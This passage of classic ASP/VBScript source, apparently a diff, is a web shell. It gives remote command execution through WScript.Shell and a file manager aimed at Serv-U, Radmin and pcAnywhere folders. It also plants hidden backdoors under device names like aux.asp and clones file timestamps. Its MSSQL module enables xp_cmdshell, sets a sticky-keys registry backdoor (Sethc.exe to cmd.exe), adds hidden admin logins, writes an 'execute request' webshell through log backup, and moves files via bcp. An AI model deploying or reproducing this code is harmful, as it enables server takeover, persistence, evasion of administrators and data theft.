    " + End Sub + + Sub PageUserList() + Dim objUser,objGroup,objComputer + + showTitle"Users and Groups Imformation" + Set objComputer=getObj("WinNT://.") + objComputer.Filter=Array("User") + doShowHideMe"User",False + doTable"100%" + For Each objUser in objComputer + doTh + echo""&objUser.Name&"" + doTtr + showUserInfo(objUser.Name) + Next + doTtable + echo"
    " + chkerr(Err) + doShowHideMe"UserGroup",False + objComputer.Filter=Array("Group") + doTable"100%" + trId=1 + For Each objGroup in objComputer + doTr trId + doTd objGroup.Name,"" + doTd objGroup.Description,"" + doTtr + trIdAdd + Next + doTtable + echo"" + chkerr(Err) + End Sub + + Sub PageCSInfo() + If Not isDebugMode Then On Error Resume Next + Dim strKey,strVar,strVariable,SessionContent + If SessionKey<>""Then Session(SessionKey)=SessionValue + showTitle"Server-Client Information" + doShowHideMe"ServerVariables",True + doTable"100%" + trId=1 + For Each strVariable In Request.ServerVariables + doTr trId + doTdNoWrap strVariable + doTd getServerVariable(strVariable),"" + doTtr + trIdAdd + Next + doTtable + echoLine"
    " + doShowHideMe"Application",True + doTable"100%" + trId=1 + For Each strVariable In Application.Contents + doTr trId + doTdNoWrap strVariable + doTd htmlEnc(Application(strVariable)),"" + doTtr + trIdAdd + Next + doTtable + echoLine"
    " + doShowHideMe"Session",True + echo"
    (ID"&Session.SessionId&")" + doTable"100%" + trId=1 + For Each strVariable In Session.Contents + SessionContent=Session(strVariable) + doTr trId + doTdNoWrap strVariable + doTd htmlEnc(SessionContent),"" + doTtr + trIdAdd + Next + doTr trId + doForm False + doTdSubmit"Set Session","20%" + echo" Key :" + doInput"text","SessionKey","",30,"" + echo"Value :" + doInput"text","SessionValue","",30,"" + + echo"" + doFform + doTtr + doTtable + echoLine"
    " + doShowHideMe"Cookies",True + doTable"100%" + trId=1 + For Each strVariable In Request.Cookies + If Request.Cookies(strVariable).HasKeys Then + For Each strKey In Request.Cookies(strVariable) + doTr trId + doTdNoWrap strVariable&"("&strKey&")" + doTd htmlEnc(Request.Cookies(strVariable)(strKey)),"" + doTtr + trIdAdd + Next + Else + doTr trId + doTdNoWrap strVariable + doTd htmlEnc(Request.Cookies(strVariable)),"" + doTtr + trIdAdd + End If + Next + doTtable + echo"" + chkerr(Err) + End Sub + + Sub PageWsCmdRun() + Dim CmdResult,tmpcmdstr + If Not isDebugMode Then On Error Resume Next + showTitle("WScript.Shell Execute") + If cmdPath<>""Then + If InStr(Lcase(cmdPath),"cmd.exe")>0 And InStr(cmdStr,"/c ")<1 Then + tmpcmdstr=cmdPath&" /c "&cmdStr + Else + tmpcmdstr=cmdPath&" "&cmdStr + End If + If needecho=1 Then + CmdResult=objWs.Exec(tmpcmdstr).StdOut.ReadAll() + Else + objWs.Run tmpcmdstr,0,False + End If + chkerr(Err) + Else + cmdPath="cmd.exe" + End If + doTable"100%" + doForm True + doTr 1 + doTd"Path","20%" + doTdInput"text","cmdPath",cmdPath,"60%","","" + echo"" + doChkBox"needecho",1," View result ","checked" + doSubmit"Run" + echo"" + doTtr + doTr 0 + doTd"Parameters","" + doTdInput"text","cmdStr",cmdStr,"","","2" + doTtr + doFform + doTtable + echo"
    Result:
    "&htmlEnc(CmdResult)&"" + chkerr(Err) + End Sub + + Sub PageFileExplorer() + If Not isDebugMode Then On Error Resume Next + If thePath=""Then thePath=pubPam + If thePath=""Then thePath=aspPath + If goaction<>"SaFileExplorer"Then goaction="FsoFileExplorer" + If subAct="down"Then + DownTheFile() + Response.End() + End If + If goaction="FsoFileExplorer"Then + strFileMethod="fso" + showTitle("FSO File Explorer") + Else + strFileMethod="sa" + showTitle("APP File Explorer") + End If + Select Case subAct + Case"delFile","delFolder" + delOne() + thePath=getLeft(thePath,"\",False) + Case"newone" + newOne() + Case"save","utfSave" + saveFile() + thePath=getLeft(thePath,"\",False) + Case"fileUpload" + StreamUpload() + Case"showEdit","utfEdit" + showEdit() + Case"rnFile","rnFolder" + renameOne() + thePath=getLeft(thePath,"\",False) + Case"cpFile","mvFile","cpFolder","mvFolder" + moveCopyOne() + thePath=getLeft(thePath,"\",False) + Case"getattrib" + getAttributes() + Case"Setattrib" + SetAttributes() + thePath=getLeft(thePath,"\",False) + Case"mkDoor" + MakeBackDoor() + End Select + If Len(thePath)<3 Then thePath=thePath&"\" + FileExplorer() + End Sub + + Sub FileExplorer() + Dim theFolder,folderId,extName,parentFolderName,objSize,fullPath,objLastModIfied,nowpath + If Not isDebugMode Then On Error Resume Next + If strFileMethod="fso"Then + Set theFolder=objFso.GetFolder(thePath) + parentFolderName=objFso.GetParentFolderName(thePath) + Else + Set theFolder=objSa.NameSpace(thePath) + dieErr Err + parentFolderName=getLeft(thePath,"\",False) + If InStr(parentFolderName,"\")<1 Then + parentFolderName=parentFolderName&"\" + End If + End If + nowpath=thePath + If Right(nowpath,1)<>"\"Then nowpath=nowpath&"\" + doHidden"nowPath",nowpath + doForm True + echo"Current Path :" + doInput"text","thePath",thePath,120,"" + echoLine"" + doSelect"","170px","onchange=""javascript:if(this.value!=''){dosubmit('"&goaction&"','',this.value);}""" + doOption"","Drivers/Comm folders" + doOption htmlEnc(mapath(".")),"." + doOption htmlEnc(mapath("/")),"/" + doOption"","----------------" + If Lcase(strFileMethod)="fso"Then + For Each drive In objFso.Drives + doOption drive.DriveLetter&":\",drive.DriveLetter&":\" + Next + doOption"","----------------" + End If + doOption"C:\Program Files","C:\Program Files" + doOption"C:\Program Files\RhinoSoft.com","RhinoSoft.com" + doOption"C:\Program Files\Serv-U","Serv-U" + doOption"C:\Program Files\Radmin","Radmin" + doOption"C:\Program Files\Microsoft SQL Server","Mssql" + doOption"C:\Program Files\Mysql","Mysql" + doOption"","----------------" + doOption"C:\Documents and Settings\All Users","All Users" + doOption"C:\Documents and Settings\All Users\Documents","Documents" + doOption"C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere","PcAnywhere" + doOption"C:\Documents and Settings\All Users\Start Menu\Programs","Start Menu->Programs" + doOption"","----------------" + doOption"D:\Program Files","D:\Program Files" + doOption"D:\Serv-U","D:\Serv-U" + doOption"D:\Radmin","D:\Radmin" + doOption"D:\Mysql","D:\Mysql" + doSselect + doSubmit"Go" + doFform + echoLine"
    " + doHidden"subAct","fileUpload" + doHidden"thePath",thePath + doTable"60%" + doTr 1 + doTdInput"file","upfile","","30%","","" + doTd"Save As :","15%" + doTdInput"text","destName","","30%","","" + doTdInput"button",""," Upload ","20%","onClick=""javascript:dosubmit('"&goaction&"','fileUpload','')""","" + doTtr + doFform + If strFileMethod="fso"Then + doTr 0 + doForm True + doHidden"thePath",thePath + doHidden"subAct","newone" + doTdInput"text","newOneName","","","","" + echo"" + doInput"radio","newOneType","file","","checked" + echo"File" + doInput"radio","newOneType","folder","","" + echo"Folder" + doTdSubmit"New one","" + 'doTdInput"button","makedoor","Make backdoor","","onClick=""javascript:dosubmit('"&goaction&"','mkDoor','"&doPathFormat(thePath)&"')""","" + doFform + doTtr + End If + echo"
    " + If strFileMethod="fso"Then + If Not objFso.FolderExists(thePath)Then + errMsgAdd thePath&" Folder dosen't exists or access denied!" + doFin + End If + End If + doShowHideme"Folders",False + doTable"100%" + doTh + doTd"Folder name","" + doTd"Size","" + doTd"Last modIfied","" + echo"Action" + If strFileMethod="fso"Then + echo" - " + doSubHref goaction,"mkDoor",doPathFormat(thePath),"Make a hidden backdoor here","" + End If + echo"" + doTtr + doTr 0 + echo"" + doSubHref goaction,"",doPathFormat(parentFolderName),"Parent Directory","" + echo"" + doTtr + trId=1 + If strFileMethod="fso"Then + For Each objX In theFolder.SubFolders + objLastModIfied=objX.DateLastModIfied + doTr trId + echo"" + doSubHref goaction,"",objX.Name,objX.Name,"" + echo"" + doTd htmlEnc(""),"" + doTd objLastModIfied,"" + echo"" + doSubHref goaction,"cpFolder",objX.Name,"Copy"," -" + doSubHref goaction,"mvFolder",objX.Name,"Move"," -" + doSubHref goaction,"rnFolder",objX.Name,"Rename"," -" + doSubHref "AddToMdb","fsoPack",objX.Name,"Package"," -" + doSubHref goaction,"delFolder",objX.Name,"Delete","" + echoLine"" + doTtr + trIdAdd + Next + Else + For Each objX In theFolder.Items + If objX.IsFolder Then + objLastModIfied=theFolder.GetDetailsOf(objX,3) + doTr trId + echo"" + doSubHref goaction,"",objX.Name,objX.Name,"" + echo"" + doTd htmlEnc(""),"" + doTd objLastModIfied,"" + echo"" + doSubHref goaction,"rnFolder",objX.Name,"Rename"," -" + doSubHref "AddToMdb","appPack",objX.Name,"Package","" + echoLine"" + doTtr + trIdAdd + End If + Next + End If + doTtable + echoLine"
    " + doShowHideme"Files",False + doTable"100%" + echo"" + doTh + doTd"File name","" + doTd"Size","" + doTd"Last modIfied","" + doTd"Action","" + doTtr + echo"" + trId=0 + If strFileMethod="fso"Then + For Each objX In theFolder.Files + objSize=GetTheSize(objX.Size) + objLastModIfied=objX.DateLastModIfied + If Lcase(Left(objX.Path,Len(rootPath)))<>Lcase(rootPath) Then + folderId="" + Else + folderId=Replace(Replace(UrlEnc(Mid(objX.Path,Len(rootPath)+1)),"%2E","."),"+","%20") + End If + doTr trId + If folderId=""Then + doTd objX.Name,"" + Else + doTd""&objX.Name&"","" + End If + doTd objSize,"" + doTd objLastModIfied,"" + echo"" + doSubHref goaction,"showEdit",objX.Name,"Edit"," -" + doSubHref goaction,"cpFile",objX.Name,"Copy"," -" + doSubHref goaction,"mvFile",objX.Name,"Move"," -" + doSubHref goaction,"rnFile",objX.Name,"Rename"," -" + doSubHref goaction,"down",objX.Name,"Down"," -" + doSubHref goaction,"getattrib",objX.Name,"Attributes"," -" + doSqlHref "showTables",objX.Name,"","","","Database"," -" + doSubHref goaction,"delFile",objX.Name,"Delete","" + echoLine"" + doTtr + trIdAdd + Next + Else + For Each objX In theFolder.Items + If Not objX.IsFolder Then + Dim fName + fName=getRight(objX.Path,"\") + fullPath=doPathFormat(objX.Path) + objSize=theFolder.GetDetailsOf(objX,1) + objLastModIfied=theFolder.GetDetailsOf(objX,3) + If Lcase(Left(objX.Path,Len(rootPath)))<>Lcase(rootPath) Then + folderId="" + Else + folderId=Replace(Replace(UrlEnc(Mid(objX.Path,Len(rootPath)+1)),"%2E","."),"+","%20") + End If + doTr trId + If folderId=""Then + doTd getRight(objX.Path,"\"),"" + Else + doTd""& getRight(objX.Path,"\")&"","" + End If + doTd objSize,"" + doTd objLastModIfied,"" + echo"" + doSubHref goaction,"showEdit",fName,"Edit"," -" + doSubHref goaction,"rnFile",fName,"Rename"," -" + doSubHref goaction,"down",fName,"Down"," -" + doSubHref goaction,"getattrib",fName,"Attributes"," -" + doSqlHref "showTables",fName,"","","","Database","" + echoLine"" + doTtr + trIdAdd + End If + Next + End If + doTtable + echo"" + chkerr(Err) + End Sub + + Sub getAttributes() + Dim fsoTheFile,appTheFile,strName,strAtt,intValue,objFolder,strPth,refName + If Not isDebugMode Then On Error Resume Next + If IsObject(objFso)Then + Set fsoTheFile=objFso.GetFile(thePath) + End If + If IsObject(objSa)Then + strPth=getLeft(thePath,"\",False) + strName=getRight(thePath,"\") + Set objFolder=objSa.NameSpace(strPth) + Set appTheFile=objFolder.ParseName(strName) + End If + echo"
    " + doTable"60%" + doForm True + doHidden"subAct","Setattrib" + doHidden"thePath",thePath + doTr 1 + doTdSubmit"Set / Clone","" + doTd thePath,"" + doTtr + doTr 0 + doTd"Attributes","" + If IsObject(objFso)Then + intValue=fsoTheFile.Attributes + strAtt="system " + strAtt=strAtt&"hide " + strAtt=strAtt&"readonly " + strAtt=strAtt&"save " + If intValue>=128 Then intValue=intValue-128 + If intValue>=64 Then intValue=intValue-64 + If intValue>=32 Then + intValue=intValue-32 + strAtt=Replace(strAtt,"{$archive}","checked") + End If + If intValue>=16 Then intValue=intValue-16 + If intValue>=8 Then intValue=intValue-8 + If intValue>=4 Then + intValue=intValue-4 + strAtt=Replace(strAtt,"{$system}","checked") + End If + If intValue>=2 Then + intValue=intValue-2 + strAtt=Replace(strAtt,"{$hidden}","checked") + End If + If intValue>=1 Then + intValue=intValue-1 + strAtt=Replace(strAtt,"{$readonly}","checked") + End If + doTd strAtt,"" + Else + doTd"FSO object disabled,can't get/Set attributes -_-~!","" + End If + doTtr + If IsObject(objSa)Then + doTr 1 + doTd"Date created","" + doTd objFolder.GetDetailsOf(appTheFile,4),"" + doTtr + doTr 0 + doTd"Date last modIfied","" + doTdInput"text","datem",objFolder.GetDetailsOf(appTheFile,3),"","","" + doTtr + doTr 1 + doTd"Date last accessed","" + doTd objFolder.GetDetailsOf(appTheFile,5),"" + doTtr + Else + doTr 1 + doTd"Date created","" + doTd fsoTheFile.DateCreated,"" + doTtr + doTr 0 + doTd"Date last modIfied","" + doTd fsoTheFile.DateLastModIfied,"" + doTtr + doTr 1 + doTd"Date last accessed","" + doTd fsoTheFile.DateLastAccessed,"" + doTtr + End If + doTr 0 + If IsObject(objSa)Then + doTd"Clone time ","" + echo"" + doSelect"strRefFile","100%","" + doOption "","Do not clone" + For Each objX In objFolder.Items + If Not objX.IsFolder Then + refName=getRight(objX.Path,"\") + doOption refName,objFolder.GetDetailsOf(objFolder.ParseName(refName),3)&" --- "&refName + End If + Next + Else + echo"App object disabled,can't modIfy time -_-~!" + End If + doTtable + doFform + doFin() + End Sub + Sub SetAttributes() + If Not isDebugMode Then On Error Resume Next + Dim myAttributes,fsoTheFile,strPth,strName,objFolder,appTheFile + If IsObject(objFso)Then + Set fsoTheFile=objFso.GetFile(thePath) + End If + If IsObject(objSa)Then + strPth=getLeft(thePath,"\",False) + strName=getRight(thePath,"\") + Set objFolder=objSa.NameSpace(strPth) + Set appTheFile=objFolder.ParseName(strName) + End If + If fsoAttrib<>""Then + fsoAttrib=Split(Replace(fsoAttrib," ",""),",") + For i=0 To UBound(fsoAttrib) + myAttributes=myAttributes+CInt(fsoAttrib(i)) + Next + fsoTheFile.Attributes=myAttributes + If Err Then + chkErr(Err) + Else + errMsgAdd"Attributes modIfied" + End If + End If + If strRefFile=""Then + If datem<>"" And IsDate(datem)Then + appTheFile.ModIfyDate=datem + If Err Then + chkErr(Err) + Else + errMsgAdd"Time modIfied" + End If + End If + Else + appTheFile.ModIfyDate=objFolder.GetDetailsOf(objFolder.ParseName(strRefFile),3) + If Err Then + chkErr(Err) + Else + errMsgAdd"Time modIfied" + End If + End If + End Sub + Sub MakeBackDoor() + If fileName<>""Then + Dim savePath,fTheFile + savePath="\\.\"&thePath&"\"&fileName + If moveme=1 Then + Call objFso.MoveFile(getServerVariable("PATH_TRANSLATED"),savePath) + Set fTheFile=objFso.GetFile(savePath) + fTheFile.Attributes=6 + Response.Redirect(fileName) + Else + fsoSaveToFile savePath,fileContent + Set fTheFile=objFso.GetFile(savePath) + fTheFile.Attributes=6 + End If + If Err Then + chkErr(err) + Else + errMsgAdd("Backdoor established,have fun.") + End If + Exit Sub + End If + doForm True + doTable"100%" + doHidden"subAct","mkDoor" + echoLine"Make hidden backdoor
    " + doTable"100%" + doTr 1 + doTd"Path","20%" + doTdInput"text","thePath",thePath,"60%","","" + doTdSubmit"Save","20%" + doTtr + doTr 0 + doTd"Content","" + doTdText "fileContent","",10 + echo"" + doChkBox"moveme",1,"Move myself there","onclick='javascript:document.getElementById(""fileContent"").disabled=this.checked'" + echo"" + doTtr + doTr 1 + echo"" + doSelect"fileName","100%","" + doOption"aux.asp","aux.asp" + doOption"con.asp","con.asp" + doOption"com1.asp","com1.asp" + doOption"com2.asp","com2.asp" + doOption"nul.asp","nul.asp" + doOption"prn.asp","prn.asp" + doSselect + echo"" + echoLine"Cannot del,cannot open in ordinary way,this will drive the web administrator madness :)" + doTtr + doTtable + doFform + doFin + End Sub + + Sub PageMsDataBase() + If Not isDebugMode Then On Error Resume Next + If connStr=""Then connStr=Request.Cookies(cookiePre&"connStr") + ShowDBTool() + If connStr<>""Then + Select Case subAct + Case"showQuery" + showQuery() + Case"delTable" + delTable() + Case"expTable" + expTable() + Case"saup","sadown" + saFile() + Case Else + showTables() + End Select + End If + DestoryConn + doFin + End Sub + + Sub ShowDBTool() + Dim rs,rolearr,strfuncs,showfuncs + If Not isDebugMode Then On Error Resume Next + showTitle("Database Operation") + doForm True + echoLine"Connect String : " + doInput"text","connStr",connStr,160,"" + echo" " + doSubmit"OK" + doFform + doShowHideMe"GetConnectString",True + doTable"100%" + doTr 1 + doTd"SqlOleDb","10%" + echoLine"Server:" + doInput"text","MsServer","127.0.0.1","15","" + echo" Username:" + doInput"text","MsUser","sa","10","" + echo" Password:" + doInput"text","MsPass","","10","" + echo" DataBase:" + doInput"text","DBPath","","10","" + echo"" + doTdInput"button","","Generate","10%","onClick=""javascript:getconnStr(MsServer.value,MsUser.value,MsPass.value,DBPath.value)""","" + doTtr + doTr 0 + doTd"Jet","" + echoLine"DB path:" + doInput"text","accdbpath",aspPath&"\","82","" + echo"" + doTdInput"button","","Generate","10%","onClick=""javascript:getAccStr(accdbpath.value)""","" + doTtr + doTtable + echo"
    " + If Err Then Err.clear + If connStr<>""Then + CreateConn connStr + Response.Cookies(cookiePre&"connStr")=connStr + Set rs=CreateObj("Adodb.RecordSet") + rs.Open "select @@version,db_name()",conn,1,1 + If Err Then + dbType="access" + Err.clear + Set rs=Nothing + Set rs=CreateObj("Adodb.RecordSet") + rs.Open "select cstr('access')",conn,1,1 + If Err Then + dbType="others" + Err.clear + End If + rs.Close + Set rs=Nothing + Else + sqlver=rs(0) + dbname=rs(1) + rs.close + dbType="mssql" +%> + +<% + End If + If subAct="showQuery"And queryStr=""Then + If dbType="others"Then + queryStr="select * from "&strTable + Else + queryStr="select * from ["&strTable&"]" + End If + End If + doSqlHref "showTables","","","","","Show Tables","" + echo"
    " + doForm True + doHidden"subAct","showQuery" + doHidden"connStr",connStr + doTable"100%" + If dbType="mssql"Then + doTr 1 + echoLine"Version : "&htmlEnc(sqlver)&"" + doTtr + rolearr="sysadmin|db_owner|public" + doTr 0 + echo"" + For Each strrole In Split(rolearr,"|") + If strrole="sysadmin"Then + rs.Open "select IS_SRVROLEMEMBER('"&strrole&"')",conn,1,1 + Else + rs.Open "select IS_ROLEMEMBER('"&strrole&"')",conn,1,1 + End If + If rs(0)=1 Then + echo "Current ServerRole : "&strrole&" " + rs.close + Exit For + End If + rs.close + Next + echo "| Switch Database : " + rs.Open "select name from master..sysdatabases",conn,1,1 + rs.movefirst + Do While Not rs.eof + echo ""&rs("name")&" | " + rs.movenext + Loop + echo"" + trIdAdd + rs.close + Set rs=Nothing + End If + doTr 1 + doTd"Execute Sql","10%" + doTdText"queryStr",queryStr,5 + doTdSubmit"Submit","10%" + doTtr + doTtable + doFform + If dbType="mssql"Then + echo"Functions : " + strfuncs=Split("xp_cmd|xp_dir|xp_reg|xp_regw|wsexec|sbexec|fsocopy|makecab|addproc|delproc|enfunc|addlogin|addsys|logback|saup|sadown","|") + showfuncs=Split("xp_cmdshell|xp_dirtree|xp_regread|xp_regwrite|ws exec|sandbox exec|FSO copy|Cab copy|add procedure|del procedure|enable function|add sql user|add sys user|logbackup|saupfile|sadownfile","|") + For i=0 To UBound(strfuncs) + echo""&showfuncs(i)&" | " + Next + echo"

    " + doHideSpan"xp_cmd",True + doTable"100%" + doTr 1 + doTd"Command","10%" + doTdInput"text","xpcmdstr","net user","80%","","" + doTdInput"button","","Generate","10%","onClick=""javascript:doXpStr(xpcmdstr.value)""","" + doTtr + doTtable + echo"" + doHideSpan"xp_dir",True + doTable"100%" + doTr 1 + doTd"Path","10%" + doTdInput"text","xpdirstr",aspPath,"80%","","" + doTdInput"button","","Generate","10%","onClick=""javascript:doXpDirStr(xpdirstr.value)""","" + doTtr + doTtable + echo"" + doHideSpan"xp_reg",True + doTable"100%" + doTr 1 + doTd"Path","10%" + doTdInput"text","xpregpath","HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName","80%","","" + doTdInput"button","","Generate","10%","onClick=""javascript:doRegStr(xpregpath.value)""","" + doTtr + doTtable + echo"" + doHideSpan"xp_regw",True + doTable"100%" + doTr 1 + doTd"Path","10%" + doTdInput"text","rwpath","HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Sethc.exe\debugger","80%","","4" + doTtr + doTr 0 + doTd"Type","" + doTdInput"text","rwtype","REG_SZ","30%","","" + doTd"Value","" + doTdInput"text","rwvalue","cmd.exe","40%","","" + doTdInput"button","","Generate","10%","onClick=""javascript:doRegWrite(rwpath.value,rwtype.value,rwvalue.value)""","" + doTtr + doTtable + echo"" + doHideSpan"wsexec",True + doTable"100%" + doTr 1 + doTd"Command","10%" + doTdInput"text","spstr","cmd /c net user","","","4" + doTtr + doTr 0 + doTd"Temp File","" + doTdInput"text","sptemp","C:\WINDOWS\Temp\~098611.tmp","50%","","" + doTd"Step","20%" + echo"" + doSelect"spstep","100%","" + doOption 1,1 + doOption 2,2 + doSselect + echo"" + doTdInput"button","","Generate","10%","onClick=""javascript:doSpStr(spstr.value,sptemp.value,spstep.value)""","" + doTtr + doTtable + echo"" + doHideSpan"sbexec",True + doTable"100%" + doTr 1 + doTd"Command","10%" + doTdInput"text","boxstr","cmd /c net user","","","5" + doTtr + doTr 0 + doTd"Mdb Path","" + doTdInput"text","boxpath","C:\windows\system32\ias\ias.mdb","30%","","" + doTd"Temp File","10%" + doTdInput"text","boxtemp","C:\WINDOWS\Temp\~098611.tmp","30%","","" + echo"Step " + doSelect"boxstep","40px","" + doOption 1,1 + doOption 2,2 + doOption 3,3 + doSselect + echo"" + doTdInput"button","","Generate","10%","onClick=""javascript:doBoxStr(boxstr.value,boxpath.value,boxtemp.value,boxstep.value)""","" + doTtr + doTtable + echo"" + doHideSpan"fsocopy",True + doTable"100%" + doTr 1 + doTd"Source","10%" + doTdInput"text","fsoori","C:\WINDOWS\system32\cmd.exe","35%","","" + doTd"Target","10%" + doTdInput"text","fsotag","C:\WINDOWS\system32\Sethc.exe","35%","","" + doTdInput"button","","Generate","10%","onClick=""javascript:doFsoStr(fsoori.value,fsotag.value)""","" + doTtr + doTtable + echo"" + doHideSpan"makecab",True + doTable"100%" + doTr 1 + doTd"Source","10%" + doTdInput"text","cabori","C:\WINDOWS\system32\cmd.exe","35%","","" + doTd"Target","10%" + doTdInput"text","cabtag","C:\WINDOWS\system32\Sethc.exe","35%","","" + doTdInput"button","","Generate","10%","onClick=""javascript:doMakeCab(cabori.value,cabtag.value)""","" + doTtr + doTtable + echo"" + doHideSpan"addproc",True + doTable"80%%" + doTr 1 + doTd"Procedure","20%" + echo"" + doSelect"addsptag","100%","" + doOption "xp_cmdshell","xp_cmdshell" + doOption "xp_dirtree","xp_dirtree" + doOption "xp_regread","xp_regread" + doOption "xp_regwrite","xp_regwrite" + doOption "sp_oacreate","sp_oacreate" + doSselect + doTd"DLL","20%" + echo"" + doSelect"addspdll","100%","" + doOption "xplog70.dll","xplog70.dll" + doOption "xpstar.dll","xpstar.dll" + doOption "odsole70.dll","odsole70.dll" + doSselect + doTdInput"button","","Generate","20%","onClick=""javascript:doAddSp(addsptag.value,addspdll.value)""","" + doTtr + doTtable + echo"" + doHideSpan"delproc",True + doTable"40%" + doTr 1 + doTd"Procedure","30%" + echo"" + doSelect"delsptag","100%","" + doOption "xp_cmdshell","xp_cmdshell" + doOption "xp_dirtree","xp_dirtree" + doOption "xp_regread","xp_regread" + doOption "xp_regwrite","xp_regwrite" + doOption "sp_oacreate","sp_oacreate" + doSselect + echo"" + doTdInput"button","","Generate","30%","onClick=""javascript:doDelSp(delsptag.value)""","" + doTtr + doTtable + echo"" + doHideSpan"enfunc",True + doTable"40%" + doTr 1 + doTd"Function","30%" + echo"" + doSelect"ensptag","100%","" + doOption "xp_cmdshell","xp_cmdshell" + doOption "Ole Automation Procedures","sp_oacreate" + doOption "Ad Hoc Distributed Queries","openrowSet" + doSselect + echo"" + doTdInput"button","","Generate","30%","onClick=""javascript:doEnableSp(ensptag.value)""","" + doTtr + doTtable + echo"" + doHideSpan"addlogin",True + doTable"80%" + doTr 1 + doTd"Username","10%" + doTdInput"text","addusername","Bloodsword$","30%","","" + doTd"Password","10%" + doTdInput"text","adduserpass","0kee","30%","","" + doTdInput"button","","Generate","20%","onClick=""javascript:doAddLogin(addusername.value,adduserpass.value)""","" + doTtr + doTtable + echo"" + doHideSpan"addsys",True + doTable"80%" + doTr 1 + doTd"Username","10%" + doTdInput"text","sysname","Bloodsword$","30%","","" + doTd"Password","10%" + doTdInput"text","syspass","0kee","30%","","" + doTdInput"button","","Generate","20%","onClick=""javascript:doAddSysUser(sysname.value,syspass.value)""","" + doTtr + doTtable + echo"" + doHideSpan"logback",True + doTable"100%" + doTr 1 + doTd"Content","10%" + echo"" + doTextarea"logContent","<%response.clear:execute request(""value""):response.End%"&">","100%",5,"" + echo"" + doTdInput"button","","Generate","10%","onClick=""javascript:doLogBackup(logContent.value,logPath.value,logdb.value,logstep.value)""","" + doTtr + doTr 0 + doTd"Path","10%" + doTdInput"text","logPath",mapath(".")&"\system.asp","40%","","" + doTd"Database","10%" + doTdInput"text","logdb",dbname,"20%","","" + doTd"Step","10%" + echo"" + doSelect"logstep","100%","" + doOption 1,1 + doOption 2,2 + doOption 3,3 + doOption 4,4 + doSselect + echo"" + doTtr + doTtable + echo"" + doHideSpan"saup",True + echoLine"" + doHidden"goaction",goaction + doHidden"subAct","saup" + doHidden"connStr",connStr + doTable"100%" + doTr 1 + doTdInput"file","safile","","30%","","" + echoLine"Save as(full path):" + doTdInput"text","thePath","","40%","","" + doTdInput"button","","Upload","10%","onClick=""javascript:dosubmit('"&goaction&"','safile','')""","" + doTtr + doTtable + doFform + echo"" + doHideSpan"sadown",True + doForm True + doHidden"subAct","sadown" + doHidden"connStr",connStr + doTable"100%" + doTr 1 + doTd"Remoto file(full path)","" + doTdInput"text","loadPath","","30%","","" + doTd"Save as","" + doTdInput"text","thePath",asppath,"30%","","" + doTdSubmit"Download","10%" + doTtr + doTtable + doFform + echo"" + End If + echo"
    " + End If + End Sub + + Sub delTable() + If Not isDebugMode Then On Error Resume Next + If dbType<>"others" Then strTable="["&strTable&"]" + conn.Execute"drop table "&strTable,-1,&H0001 + If Err Then + chkErr(Err) + Else + errMsgAdd("Table deleted.") + End If + showTables() + End Sub + Sub expTable() + If Not isDebugMode Then On Error Resume Next + If dbType<>"others" Then strTable="["&strTable&"]" + Dim rs + Set rs=conn.Execute("select * from "&strTable,-1,&H0001) + dieErr(Err) + If rs.Fields.Count>0 Then + Response.Clear + Session.CodePage=936 + Response.AddHeader"Content-Disposition","Attachment; Filename="&strTable&".xls" + Session.CodePage=65001 + Response.AddHeader"Content-Type","application / ms - excel" + echo"" + For i=0 To rs.Fields.Count-1 + echo"" + Next + echo"" + Do Until rs.EOF + echo"" + For i=0 To rs.Fields.Count-1 + echo"" + Next + echo"" + rs.MoveNext + Loop + echo"
    "&rs.Fields(i).Name&"
    "&htmlEnc(rs(i))&"
    " + Else + errMsgAdd"It's empty." + showTables() + doFin + End If + rs.Close + Set rs=Nothing + response.End + End Sub + Sub saFile() + strfrm="8.0|1|1 SQLIMAGE 0 {size} """" 1 binfile """"|" + conn.execute "If object_id('dark_temp')is not null drop table dark_temp" + If InStr(sqlver,"Microsoft SQL Server 2005")>0 Then + strfrm=Replace(strfrm,"8.0","9.0") + conn.execute("EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;") + End If + If subAct="sadown"Then + Dim rs,size + If thePath=""Or loadPath="" Then + errMsgAdd"Not enough parameters." + showTables() + doFin + ElseIf InstrRev(loadPath,".")>c:\tmp.fmt'") + Next + If subAct="saup"Then + saUpload() + Else + saDownload() + End If + conn.execute "If object_id('dark_temp')is not null drop table dark_temp" + conn.execute("EXECUTE master..xp_cmdshell 'del c:\tmp.fmt'") + showTables() + End Sub + Sub saUpload() + If Not isDebugMode Then On Error Resume Next + Dim rs,theFile,arrfrm,nowdb + If thePath="" Then thePath=aspPath + If InStr(thePath,":")<1 Then thePath=aspPath&"\"&thePath + Set theFile=cls_upload.File("safile") + If InstrRev(thePath,"\")>InstrRev(thePath,".")Then thePath=thePath&"\"&theFile.FileName + conn.execute "CREATE TABLE [dark_temp] ([id] [int] NULL ,[binfile] [Image] NULL) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY];" + Set rs=CreateObj("Adodb.RecordSet") + rs.Open "SELECT * FROM dark_temp where id is null",conn,1,3 + rs.AddNew + rs("binfile").AppendChunk theFile.InFile() + rs.Update + conn.execute("exec master..xp_cmdshell'bcp ""select binfile from "&dbname&"..dark_temp"" queryout """&thePath&""" -T -f c:\tmp.fmt'") + set rs=conn.execute("EXECUTE master..xp_fileexist '"&thePath&"'") + If Err Then + chkErr(Err) + ElseIf rs(0)=1 Then + errMsgAdd("File uploaded, have fun.") + Else + errMsgAdd("Upload failed, RPWT?") + End If + rs.close + Set rs=Nothing + End Sub + Sub saDownload() + Dim rs + If Not isDebugMode Then On Error Resume Next + conn.execute "CREATE TABLE [dark_temp] ([binfile] [Image] NULL)" + conn.execute("exec master..xp_cmdshell'bcp """&dbname&"..dark_temp"" in """&loadpath&""" -T -f c:\tmp.fmt'") + Set rs=CreateObj("Adodb.RecordSet") + rs.Open "select * from dark_temp",conn,1,1 + streamSaveToFile thePath,rs(0),1 + If Err Then + chkErr(Err) + Else + errMsgAdd("File downloaded,have fun.") + End If + rs.close + Set rs=Nothing + End Sub + Sub showTables() + Dim objTable,objColumn,intDefinedSize,strNullAble,spanId,rsTable + If Not isDebugMode Then On Error Resume Next + spanId=1 + trId=0 + Set rsTable=conn.OpenSchema(20,Array(Empty,Empty,Empty,"table")) + dieErr(Err) + Do Until rsTable.Eof + doSpan spanId + 